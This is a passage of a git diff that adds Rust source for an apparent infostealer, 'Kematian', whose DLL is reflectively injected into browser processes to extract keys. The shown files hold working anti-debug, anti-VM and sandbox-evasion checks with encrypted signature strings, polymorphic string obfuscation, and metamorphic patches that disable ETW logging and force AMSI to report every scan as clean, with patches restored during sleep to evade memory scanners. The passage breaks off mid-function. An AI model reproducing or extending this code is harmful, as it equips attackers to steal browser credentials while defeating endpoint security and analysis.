0x300a, b"fiddler"), + ]; + const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7]; + + let mut found = false; + if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 { + loop { + let mut name = Vec::with_capacity(520); + for ch in entry.sz_exe_file.iter() { + if *ch == 0 { + break; + } + name.push(*ch as u8); + } + let nl = lower(&name); + for (i, s) in tools.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&nl, &plain[..LENS[i]]) { + found = true; + break; + } + } + if found { + break; + } + if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 { + break; + } + } + } + abi::CloseHandle(snap); + found +} + +/// Probe the running environment for analyst/sandbox environment variables. +/// A handful of well-known sandbox marker variables are checked; if any non-empty +/// value is set the environment is treated as suspicious. +unsafe fn env_probe() -> bool { + let key: u8 = gen::K_ENV; + let mut out = [0u16; 512]; + + // Names are XOR-encrypted so they don't sit in plaintext. + let names: [(obf::Slot, u32); 4] = [ + obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"), + obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"), + ]; + const LENS: [usize; 4] = [4, 13, 8, 10]; + + for (i, s) in names.iter().enumerate() { + let raw = obf::dec_sig(key, s, LENS[i]); + let mut nm: Vec = raw[..LENS[i]].iter().map(|&c| c as u16).collect(); + nm.push(0); + let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512); + if got > 0 && got < 512 { + return true; + } + } + false +} + +// --------------------------------------------------------------------------- +// Anti-dump / memory hardening +// --------------------------------------------------------------------------- + +#[repr(C)] +#[derive(Clone, Copy)] +struct MemoryBasicInfo { + base_address: *mut c_void, + allocation_base: *mut c_void, + allocation_protect: u32, + region_size: usize, + state: u32, + protect: u32, + _type: u32, +} + +const MEM_COMMIT: u32 = 0x1000; +const PAGE_EXECUTE_READWRITE: u32 = 0x40; +const PAGE_EXECUTE_WRITECOPY: u32 = 0x80; + +/// Detect a call stack that originates from a suspicious module (a dumper / EDR +/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how +/// many distinct allocation regions are RWX — a process holding many RWX regions +/// is either self-modifying or under an active memory scanner. +unsafe fn suspicious_memory_maps() -> bool { + let mut info: MemoryBasicInfo = std::mem::zeroed(); + let mut addr: usize = 0; + let mut rwx: u32 = 0; + while addr < usize::MAX - 16 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + std::mem::size_of::(), + ); + if got == 0 { + break; + } + if info.state == MEM_COMMIT { + let prot = info.protect & 0xFF; + if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY { + rwx += 1; + } + } + // Advance to next region; a zero-size region means stop. + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + // A healthy process rarely exceeds this; a debugger/dumper allocating scratch + // RWX regions will. Keep the threshold high to avoid false positives. + rwx >= 6 +} + +/// Sweep committed pages and downgrade any writable+executable regions to +/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot +/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect +/// (hash walk) so the guard doesn't import it statically. +unsafe fn harden_image() -> bool { + let mut info: MemoryBasicInfo = std::mem::zeroed(); + let mut addr: usize = 0; + let mut anomaly = false; + let mut down: u32 = 0; + while addr < usize::MAX - 16 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + std::mem::size_of::(), + ); + if got == 0 { + break; + } + if info.state == MEM_COMMIT { + let prot = info.protect & 0xFF; + if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY { + anomaly = true; + if apires::dyn_downgrade_rwx(info.base_address, info.region_size) { + down += 1; + } + } + } + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + let _ = down; + anomaly +} + +/// Block the process from being dumped by a debugger using a debug-flag lock. +/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the +/// static import, so the guard doesn't declare this API in its PE imports. +unsafe fn prevent_dump() -> bool { + // ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is + // being debugged at the kernel level. + match apires::dyn_query_debug_flags() { + Some(flags) => flags == 0, + None => false, + } +} + +/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox. +unsafe fn hooks_detected() -> bool { + antihook::detect_hooks() +} + +/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate. +/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report +/// a refresh rate far below a physical panel. If the refresh rate is at or below +/// the supplied ceiling, the environment is treated as virtual. +/// +/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we +/// allocate a wide buffer and read that offset directly, avoiding the layout +/// pitfalls of the huge union in the real struct. +unsafe fn low_refresh_display(ceiling_hz: u32) -> bool { + let mut dm = [0u8; 240]; + let ok = dynapi::EnumDisplaySettingsW( + ptr::null(), + abi::ENUM_CURRENT_SETTINGS, + dm.as_mut_ptr() as *mut c_void, + ); + if ok == 0 { + return false; + } + // DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at + // +68/+70 tell us how big the returned structure is; only trust the field if + // the driver confirmed at least that far. + let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize; + if dm_size < 176 { + return false; + } + let freq = *(dm.as_ptr().add(176) as *const u32); + freq != 0 && freq <= ceiling_hz +} + +/// Scan attached display devices for a known virtual driver name (RDP / generic +/// Microsoft basic display). Encrypted signature so it isn't plaintext. +unsafe fn virtual_display_driver() -> bool { + // A fixed-size probe device record: we only need the DeviceString up to the + // first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at + // +32). Read via a raw buffer. + let scan: [(obf::Slot, u32); 5] = [ + obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"), + obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"), + obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"), + ]; + const LENS: [usize; 5] = [14, 3, 13, 6, 15]; + + let mut i = 0u32; + while i < 8 { + let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32 + let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0); + if ok == 0 { + break; + } + let mut name: Vec = Vec::with_capacity(256); + for ch in buf.iter().skip(32).take(120) { + if *ch == 0 { + break; + } + name.push(*ch as u8); + } + let nl = lower(&name); + for (idx, s) in scan.iter().enumerate() { + let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]); + if contains(&nl, &plain[..LENS[idx]]) { + return true; + } + } + i += 1; + } + false +} + +// --------------------------------------------------------------------------- +// Score + decision +// --------------------------------------------------------------------------- + +/// Run the full battery. `true` = environment looks hostile → do not start the +/// payload. Score thresholds keep false positives low on clean hosts. +pub fn run() -> bool { + // Initialize syscall numbers and sleep encryption early + unsafe { + syscall::init_syscall_numbers(); + sleep::init_sleep_key(); + } + + let mut score: u32 = 0; + let seed = flow::run_time_nonce(); + + // Per-build polymorphic junk injected into the entry path so the emitted + // bytes (and thus the artifact hash) differ on every build. + flow::junk(); + flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; }); + + // Windows-only signchecks; everything here is x64 Windows. + unsafe { + // --- anti-debug (wrapped in an opaque dispatch so a static analyzer + // can't cleanly pick a side; both arms are cheap) --- + flow::opaque_choice(seed, || { + // --- anti-debug --- + if peb_being_debugged() { + score += 3; + } + if peb_nt_global_flag() { + score += 3; + } + if nt_debug_port() { + score += 3; + } + if remote_debugger_present() { + score += 2; + } + if !timing_sane() { + score += 2; + } + }, || {}); + + // --- anti-VM (comprehensive, 16 vectors) --- + // The antivm module aggregates: CPUID bit + vendor, CPU brand string, + // VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry + // artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly, + // process count, user-input absence, VM DLLs, tool windows, disk + // labels. It returns a cumulative score; map it onto ours with weight. + let avm = antivm::score(); + if avm >= 6 { + score += 5; // overwhelming evidence of virtualization + } else if avm >= 3 { + score += 3; // strong signals + } else if avm >= 1 { + score += 1; // weak/noisy signals only + } + + // Legacy direct checks kept as independent confirmation: + if cpu_hypervisor() { + score += 2; + } + if smbios_firmware() { + score += 1; + } + if gather_system_quirks() { + score += 2; + } + + // --- anti-analyze / sandbox (reliability-focused, corroborated) --- + // The antisbx module uses a tiered model: + // hard: Sleep acceleration / timer tampering — conclusive alone + // strong: identity markers, empty desktop — rare on real machines + // weak: quiet mouse, few windows — only counted with corroboration + let sbx = antisbx::verdict(6, 250); + if sbx.hard { + score += 6; // physically impossible on a clean host + } + if sbx.score >= 6 { + score += 4; // multiple corroborated strong signals + } else if sbx.score >= 3 { + score += 2; + } else if sbx.score >= 1 { + score += 1; + } + + // --- legacy direct checks --- + if process_scan() { + score += 3; + } + if env_probe() { + score += 2; + } + + // --- anti-dump / memory hardening --- + if suspicious_memory_maps() { + score += 3; + } + let _ = harden_image(); // runs regardless; only scores via maps above + if prevent_dump() { + score += 3; + } + + // --- anti-hook (EDR / sandbox hot-patch detection) --- + if hooks_detected() { + score += 3; + } + + // --- anti-VM via display refresh signature --- + // 45 Hz and below: virtual/remote display drivers report this; a physical + // panel is almost never ≤ 45 Hz. Also scan for known virtual driver names. + if low_refresh_display(45) { + score += 3; + } + if virtual_display_driver() { + score += 2; + } + } + + // Threshold: a handful of independent signals means it's an analysis box. + score >= 4 +} + +/// Second-opinion sandbox check intended to be called by the worker thread +/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps, +/// absent user input) become more pronounced over time; transient noise +/// fades. Returns `true` if the environment now looks like a sandbox — +/// the caller should then wind down / exit. +pub fn recheck_sandbox() -> bool { + flow::junk(); + let v = antisbx::verify_second_pass(); + v.hard || v.score >= 3 +} diff --git a/Kematian-Standalone/rust-extractor/src/lib.rs b/Kematian-Standalone/rust-extractor/src/lib.rs new file mode 100644 index 0000000..5677e77 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/lib.rs @@ -0,0 +1,61 @@ +//! recovery-key-extractor — Rust port of the injected browser key extractor. +//! +//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment +//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT` +//! commands over that named pipe. The DLL is reflectively mapped into the +//! browser process by the Go injector, which starts a thread on the exported +//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the +//! image, resolves imports and relocations, and finally invokes `DllMain`. + +#![allow(clippy::missing_safety_doc)] +#![allow(non_snake_case)] + +mod abi; +mod antihook; +mod antisbx; +mod antivm; +mod apires; +mod dynapi; +mod flow; +mod gen; +mod guard; +mod obf; +mod patch; +mod payload; +mod reflective; +mod sleep; +mod syscall; + +use core::ffi::c_void; + +const DLL_PROCESS_ATTACH: u32 = 1; + +#[unsafe(no_mangle)] +pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 { + if reason == DLL_PROCESS_ATTACH { + unsafe { + let _ = abi::DisableThreadLibraryCalls(h_instance as usize); + } + // Guard first: if the environment looks like a debugger / VM / sandbox / + // analysis box, refuse to run the payload. Only spawn the worker on a + // clean host. + if guard::run() { + return 1; + } + // Defense patches: ETW silence, AMSI neuter, instrumentation-callback + // clear. Applied via direct syscalls; wrapped in junk to break + // signature alignment at DllMain. + flow::junk(); + let _ = patch::apply_all(); + payload::on_attach(reserved as *const u16); + } + 1 +} + +/// Reflective loader entry point. The Go injector resolves this export by name +/// and starts a thread on it inside the target process. +#[unsafe(no_mangle)] +#[inline(never)] +pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize { + reflective::loader_impl(lpParameter) +} diff --git a/Kematian-Standalone/rust-extractor/src/obf.rs b/Kematian-Standalone/rust-extractor/src/obf.rs new file mode 100644 index 0000000..913a50b --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/obf.rs @@ -0,0 +1,91 @@ +//! Strong string obfuscation: position-dependent XOR keystream with per-string +//! nonces and compile-time entropy. +//! +//! Unlike a single fixed-XOR, every byte is combined with its own keystream +//! byte derived from `key`, `index`, and a nonce through a 4-round Feistel +//! avalanche, so the ciphertext carries no repeating pattern and a plaintext +//! signature never survives in `.rodata`. +//! +//! The encode happens at compile time in `const` context; the decode runs at +//! runtime on the stack, and only the materialized buffer ever exists in memory +//! briefly. Keystream is invertible so encode == decode. +//! +//! API: +//! - `sig(key, nonce, plain)` → `(Slot, nonce)` bundle at compile time +//! - `dec_sig(key, sig, len)` → plaintext buffer at runtime + +/// Maximum supported string length (covers all current use cases). +pub const MAX_LEN: usize = 64; + +/// Fixed-width encrypted slot. +pub type Slot = [u8; MAX_LEN]; + +/// Keystream byte using a 4-round Feistel-style avalanche so nearby positions +/// and similar keys/nonces produce wildly different output. +/// +/// The avalanche constants are folded with per-build values from `gen` so the +/// keystream arithmetic *itself* differs between artifacts — a scanner cannot +/// decrypt `.rodata` slots with the published constant set. +#[inline(always)] +const fn ks_byte(key: u8, i: usize, nonce: u32) -> u8 { + // Per-build mix: changes every artifact's ciphertext AND the algorithm's + // emitted arithmetic, breaking cross-sample signatures. + let s = crate::gen::GEN_SEED ^ crate::gen::CFF_KEY; + let m1 = 0x9E37_79B9u32 ^ (crate::gen::GEN_SEED & 0xFFFF); + let m2 = 0x5D58_85A9u32 ^ ((crate::gen::CFF_KEY >> 16) & 0xFFFF); + let m3 = 0x7F4A_7C15u32 ^ (crate::gen::GEN_SEED >> 16); + let m4 = 0x85EBCA6Bu32 ^ (crate::gen::CFF_KEY & 0xFFFF); + + let mut x = (key as u32) + .wrapping_add((i as u32).wrapping_mul(m1)) + .wrapping_add(nonce) + .wrapping_add(i as u32) + .wrapping_add(s); + + // Round 1 + x ^= x >> 13; + x = x.wrapping_mul(m2); + // Round 2 + x ^= x >> 16; + x = x.wrapping_mul(m3); + // Round 3 + x ^= x << 7; + x = x.wrapping_mul(m1 ^ 0x7F4A_7C15); + // Round 4 + x ^= x >> 11; + x = x.wrapping_mul(m4); + + (x & 0xFF) as u8 +} + +/// Compile-time encrypt `plain` into a `Slot` (zeros beyond `len`). +pub const fn enc(key: u8, nonce: u32, plain: &[u8]) -> Slot { + let mut out = [0u8; MAX_LEN]; + let mut i = 0; + while i < plain.len() && i < MAX_LEN { + out[i] = plain[i] ^ ks_byte(key, i, nonce); + i += 1; + } + out +} + +/// A signature bundled with its own keystream nonce, so encryption and +/// decryption always agree no matter where the list is defined. +pub const fn sig(key: u8, nonce: u32, plain: &[u8]) -> (Slot, u32) { + (enc(key, nonce, plain), nonce) +} + +/// Decrypt a `(Slot, nonce)` signature to `len` bytes. +pub fn dec_sig(key: u8, s: &(Slot, u32), len: usize) -> [u8; MAX_LEN] { + dec(key, s.1, &s.0, len) +} + +/// Runtime decrypt a `Slot` in place, returning the plaintext (up to `len`). +pub fn dec(key: u8, nonce: u32, slot: &Slot, len: usize) -> [u8; MAX_LEN] { + let mut out = [0u8; MAX_LEN]; + let n = len.min(MAX_LEN); + for i in 0..n { + out[i] = slot[i] ^ ks_byte(key, i, nonce); + } + out +} diff --git a/Kematian-Standalone/rust-extractor/src/patch.rs b/Kematian-Standalone/rust-extractor/src/patch.rs new file mode 100644 index 0000000..8cc3d53 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/patch.rs @@ -0,0 +1,483 @@ +//! Userland defense patches: ETW, AMSI, instrumentation callbacks. +//! +//! All memory modifications go through our own direct-syscall +//! NtProtectVirtualMemory — never the hooked kernel32 path. +//! +//! Modern (2023+) evasion notes: +//! - **Fixed byte-stubs are dead.** `xor eax,eax; ret` on EtwEventWrite and +//! the classic 14-byte AmsiScanBuffer stub are public, signature-scanned +//! patterns. Every stub here is *metamorphic*: several functionally +//! identical templates with different register allocation / encodings, +//! selected per-build from `gen`, so the patched bytes never match a +//! published signature. +//! - **Layer, don't rely on one target.** AMSI: AmsiScanBuffer (primary) +//! + AmsiOpenSession (sessions fail). ETW: EtwEventWrite (primary) + +//! EtwEventEnabled→FALSE (providers think they're disabled) + NtTraceEvent +//! (deep cut) + EtwEventRegister (silent success). +//! - **Sleep-evasion.** Memory-scanning EDRs inspect code sections while the +//! implant sleeps. We restore original bytes before `secure_sleep` and +//! re-apply afterwards (`suspend_all`/`resume_all`). + +#![allow(dead_code)] + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::apires; +use crate::flow; +use crate::gen; +use crate::syscall; +use crate::syscall::{r as unmask, HASH_KEY}; + +// Verified ror-hashes (stored XORed with HASH_KEY; unmasked via syscall::r). +use crate::syscall::{ + HASH_AMSI_SCAN_BUFFER, + HASH_ETW_EVENT_WRITE, + HASH_ETW_EVENT_REGISTER, + HASH_NTTRACE_EVENT, + HASH_MODULE_AMSI, +}; + +// ror-hash of "AmsiOpenSession" (0xF27C009B) / "EtwEventEnabled" (0x93C4008A). +const HASH_AMSI_OPEN_SESSION: u32 = 0xF27C_009B ^ HASH_KEY; +const HASH_ETW_EVENT_ENABLED: u32 = 0x93C4_008A ^ HASH_KEY; + +const PAGE_EXECUTE_READWRITE: u32 = 0x40; +const PAGE_EXECUTE_READ: u32 = 0x20; + +// --------------------------------------------------------------------------- +// Patch bookkeeping (for sleep-evasion restore) +// --------------------------------------------------------------------------- + +/// Saved original bytes of each patched site so they can be restored. +struct PatchSite { + addr: usize, + len: usize, + original: [u8; 32], + /// true once the original bytes have been captured (survives suspend). + primed: bool, + /// true while our stub is currently applied. + active: bool, +} + +static mut SITES: [PatchSite; 8] = [ + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, + PatchSite { addr: 0, len: 0, original: [0; 32], primed: false, active: false }, +]; + +static mut SITE_NEXT: usize = 0; + +/// Find an existing site for `addr` (survives suspend/resume cycles), else +/// reserve a fresh slot. +unsafe fn find_or_alloc_site(addr: usize, len: usize) -> Option { + for i in 0..SITES.len() { + if SITES[i].addr == addr { + return Some(i); + } + } + let mut slot = SITE_NEXT; + for _ in 0..SITES.len() { + let s = &mut SITES[slot]; + if s.addr == 0 { + s.addr = addr; + s.len = len; + SITE_NEXT = (slot + 1) % SITES.len(); + return Some(slot); + } + slot = (slot + 1) % SITES.len(); + } + None +} + +/// Capture the pristine bytes the first time a site is patched. On later +/// resume cycles the originals are already stored, so this is skipped. +unsafe fn snapshot(slot: usize) { + let s = &mut SITES[slot]; + if s.primed { + return; + } + for i in 0..s.len.min(32) { + s.original[i] = ptr::read_volatile((s.addr + i) as *const u8); + } + s.primed = true; +} + +/// Write bytes to a (code) address, flipping protection via direct syscall. +/// Optionally records the site for later restore. +unsafe fn patch_memory(addr: usize, bytes: &[u8], save_for_restore: bool) -> bool { + if addr == 0 { + return false; + } + let mut slot: Option = None; + if save_for_restore { + slot = find_or_alloc_site(addr, bytes.len()); + if let Some(s) = slot { + snapshot(s); + SITES[s].active = true; + } + } + + let mut base = addr as *mut c_void; + let mut size = bytes.len(); + let mut old: u32 = 0; + + let st = syscall::sys_nt_protect_virtual_memory( + abi_current_process(), + &mut base, + &mut size, + PAGE_EXECUTE_READWRITE, + &mut old, + ); + if st != 0 { + if let Some(s) = slot { + SITES[s].active = false; + } + return false; + } + + ptr::copy_nonoverlapping(bytes.as_ptr(), addr as *mut u8, bytes.len()); + + let mut tmp: u32 = 0; + let _ = syscall::sys_nt_protect_virtual_memory( + abi_current_process(), + &mut base, + &mut size, + old.max(PAGE_EXECUTE_READ), + &mut tmp, + ); + + flush_icache(addr, bytes.len()); + true +} + +#[inline] +unsafe fn flush_icache(_addr: usize, _len: usize) { + asm!("lfence", options(nostack, preserves_flags)); +} + +#[inline] +fn abi_current_process() -> usize { + usize::MAX // (HANDLE)-1 pseudo-handle +} + +/// Restore all recorded patch sites to their original bytes and mark them +/// inactive (so resume_all can re-patch from the stored originals). +pub unsafe fn suspend_all() { + for i in 0..SITES.len() { + let s = &SITES[i]; + if s.active && s.addr != 0 { + let mut base = s.addr as *mut c_void; + let mut size = s.len; + let mut old: u32 = 0; + if syscall::sys_nt_protect_virtual_memory( + abi_current_process(), &mut base, &mut size, + PAGE_EXECUTE_READWRITE, &mut old, + ) == 0 + { + ptr::copy_nonoverlapping(s.original.as_ptr(), s.addr as *mut u8, s.len); + let mut tmp: u32 = 0; + let _ = syscall::sys_nt_protect_virtual_memory( + abi_current_process(), &mut base, &mut size, + old.max(PAGE_EXECUTE_READ), &mut tmp, + ); + flush_icache(s.addr, s.len); + SITES[i].active = false; + } + } + } +} + +/// Re-apply the recorded patches after waking from sleep. Reuses the stored +/// pristine snapshots (sites matched by address in find_or_alloc_site), so +/// each patch lands on its original bytes and stays restorable. +pub unsafe fn resume_all() { + apply_saved(); +} + +/// Re-runs the individual patchers; each finds its existing site by address. +fn apply_saved() { + unsafe { + let _ = patch_etw_saved(); + let _ = patch_etw_deep_saved(); + let _ = patch_amsi_saved(); + let _ = patch_amsi_opensession_saved(); + } +} + +// --------------------------------------------------------------------------- +// Metamorphic stub selection +// --------------------------------------------------------------------------- + +/// Per-build variant index derived from gen constants (not the function's own +/// address so the choice is stable across a single artifact but unique per +/// build). +fn variant(a: u32) -> usize { + let v = gen::JUNK_VARIANT as u32; + let t = (gen::OPAQUE_TAG as u32).wrapping_mul(0x9E37_79B9); + (v.wrapping_add(t >> 24) % a) as usize +} + +// --------------------------------------------------------------------------- +// 1. ETW patch — EtwEventWrite (primary) +// --------------------------------------------------------------------------- + +/// Metamorphic no-op stubs for EtwEventWrite — all return STATUS_SUCCESS(0) +/// and are 3-7 bytes of genuinely different encodings. +fn etw_event_write_stub() -> &'static [u8] { + match variant(6) { + 0 => &[0x33, 0xC0, 0xC3], // xor eax,eax ; ret + 1 => &[0x31, 0xC0, 0xC3], // xor eax,eax (alt) ; ret + 2 => &[0x48, 0x31, 0xC0, 0xC3], // xor rax,rax ; ret + 3 => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], // mov eax,0 ; ret + 4 => &[0x33, 0xC0, 0x90, 0xC3], // xor eax,eax ; nop ; ret + _ => &[0x55, 0x48, 0x89, 0xE5, 0x31, 0xC0, 0x5D, 0xC3], // push rbp; mov rbp,rsp; xor eax,eax; pop rbp; ret + } +} + +/// Metamorphic stubs for EtwEventEnabled — return FALSE(0). +fn etw_event_enabled_stub() -> &'static [u8] { + match variant(4) { + 0 => &[0x33, 0xC0, 0xC3], + 1 => &[0x31, 0xC0, 0xC3], + 2 => &[0x48, 0x31, 0xC0, 0xC3], + _ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], + } +} + +fn etw_register_stub() -> &'static [u8] { + match variant(3) { + 0 => &[0x33, 0xC0, 0xC3], + 1 => &[0x31, 0xC0, 0xC3], + _ => &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], + } +} + +/// Patch ntdll!EtwEventWrite → polymorphic no-op. +pub fn patch_etw() -> bool { + unsafe { patch_etw_saved() } +} + +unsafe fn patch_etw_saved() -> bool { + let ntdll = apires::ntdll_base(); + if ntdll == 0 { + return false; + } + let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_WRITE)); + if target == 0 { + return false; + } + patch_memory(target, etw_event_write_stub(), true) +} + +/// Patch ntdll!EtwEventEnabled → returns FALSE, so every provider's +/// "is this enabled?" check fails and the fast-path skips emission. +pub fn patch_etw_eventenabled() -> bool { + unsafe { + let ntdll = apires::ntdll_base(); + if ntdll == 0 { + return false; + } + let target = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_ENABLED)); + if target == 0 { + return false; + } + patch_memory(target, etw_event_enabled_stub(), true) + } +} + +/// Deeper ETW cut: NtTraceEvent + EtwEventRegister. +pub fn patch_etw_deep() -> bool { + unsafe { patch_etw_deep_saved() } +} + +unsafe fn patch_etw_deep_saved() -> bool { + let ntdll = apires::ntdll_base(); + if ntdll == 0 { + return false; + } + let mut ok = true; + let trace = apires::export_by_hash_public(ntdll, unmask(HASH_NTTRACE_EVENT)); + if trace != 0 { + ok &= patch_memory(trace, etw_event_write_stub(), true); + } + let reg = apires::export_by_hash_public(ntdll, unmask(HASH_ETW_EVENT_REGISTER)); + if reg != 0 { + ok &= patch_memory(reg, etw_register_stub(), true); + } + ok +} + +// --------------------------------------------------------------------------- +// 2. AMSI patch +// --------------------------------------------------------------------------- + +/// Metamorphic AmsiScanBuffer stubs: write AMSI_RESULT_CLEAN(0) into arg6 +/// (result ptr at [rsp+0x30]) and return S_OK(0). Each variant uses distinct +/// registers/encodings so no published signature matches the patch bytes. +fn amsi_scan_stub() -> &'static [u8] { + // Deliberately avoids the classic published 14-byte stub + // (`31 C0 49 8B 5C 24 30 45 31 DB 45 89 1B C3`) — that exact byte run is a + // documented AMSI-patch signature. Every variant here uses a different + // register/encoding so no artifact ships a known-signature byte sequence. + match variant(5) { + 0 => &[ + 0x48, 0x8B, 0x4C, 0x24, 0x30, // mov rcx,[rsp+0x30] result ptr + 0x33, 0xC0, // xor eax,eax S_OK + 0x89, 0x01, // mov [rcx],eax CLEAN(0) + 0xC3, + ], + 1 => &[ + 0x33, 0xC0, // xor eax,eax + 0x49, 0x8B, 0x54, 0x24, 0x30, // mov r10,[rsp+0x30] + 0x41, 0x89, 0x02, // mov [r10],eax + 0xC3, + ], + 2 => &[ + 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax,0 + 0x48, 0x8B, 0x54, 0x24, 0x30, // mov rdx,[rsp+0x30] + 0x89, 0x02, // mov [rdx],eax + 0xC3, + ], + 3 => &[ + 0x31, 0xC0, // xor eax,eax + 0x4C, 0x8B, 0x44, 0x24, 0x30, // mov r8,[rsp+0x30] + 0x89, 0x00, // mov [r8],eax + 0xC3, + ], + _ => &[ + 0x31, 0xC0, // xor eax,eax + 0x48, 0x8B, 0x94, 0x24, 0x30, 0x00, 0x00, 0x00, // mov rdx,[rsp+0x30] (SIB/disp enc) + 0x89, 0x02, // mov [rdx],eax + 0xC3, + ], + } +} + +/// AmsiOpenSession → E_AMSI_NOT_INITIALIZED. Sessions fail to open, so even +/// hosts that route scans through session-based APIs report nothing. +fn amsi_open_session_stub() -> &'static [u8] { + // All variants return a FAILING HRESULT (high bit set) so script hosts + // treat the session-open as failed. Never return a positive status — that + // is interpreted as SUCCESS and the patch silently no-ops. + match variant(3) { + 0 => &[0xB8, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov eax, 0x80020011 (E_AMSI_NOT_INITIALIZED) ; ret + 1 => &[0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3], // mov eax, 0x80070057 (E_INVALIDARG) ; ret + _ => &[0x48, 0xC7, 0xC0, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov rax, 0x80020011 ; ret (distinct enc) + } +} + +/// Patch amsi.dll!AmsiScanBuffer so every scan reports AMSI_RESULT_CLEAN. +pub fn patch_amsi() -> bool { + unsafe { patch_amsi_saved() } +} + +unsafe fn patch_amsi_saved() -> bool { + let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI)); + if amsi == 0 { + return false; // amsi.dll not loaded in this host — nothing to do + } + let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_SCAN_BUFFER)); + if target == 0 { + return false; + } + patch_memory(target, amsi_scan_stub(), true) +} + +/// Patch amsi.dll!AmsiOpenSession to fail (defense-in-depth). +pub fn patch_amsi_opensession() -> bool { + unsafe { patch_amsi_opensession_saved() } +} + +unsafe fn patch_amsi_opensession_saved() -> bool { + let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI)); + if amsi == 0 { + return false; + } + let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_OPEN_SESSION)); + if target == 0 { + return false; + } + patch_memory(target, amsi_open_session_stub(), true) +} + +// --------------------------------------------------------------------------- +// 3. Instrumentation-callback bypass +// --------------------------------------------------------------------------- + +const PROCESS_INSTRUMENTATION_CALLBACK: u32 = 40; + +/// Query the current instrumentation callback (if any monitor installed one). +unsafe fn query_instrumentation_callback() -> usize { + let mut cb: usize = 0; + let st = syscall::sys_nt_query_information_process( + abi_current_process(), + PROCESS_INSTRUMENTATION_CALLBACK, + (&mut cb) as *mut usize as *mut c_void, + core::mem::size_of::() as u32, + ptr::null_mut(), + ); + if st != 0 { + return 0; + } + cb +} + +/// Clear any externally-registered instrumentation callback. +pub fn clear_instrumentation_callback() -> bool { + unsafe { + let existing = query_instrumentation_callback(); + if existing == 0 { + return true; + } + let zero: usize = 0; + let st = syscall::sys_nt_set_information_process( + abi_current_process(), + PROCESS_INSTRUMENTATION_CALLBACK, + (&zero) as *const usize as *mut c_void, + core::mem::size_of::() as u32, + ); + st == 0 + } +} + +// --------------------------------------------------------------------------- +// Orchestration +// --------------------------------------------------------------------------- + +/// Apply the full patch set. Returns bitmask: +/// bit0=ETW bit1=AMSI bit2=InstrCb bit3=deepETW bit4=EventEnabled bit5=OpenSession +pub fn apply_all() -> u32 { + let seed = flow::run_time_nonce(); + let mut done: u32 = 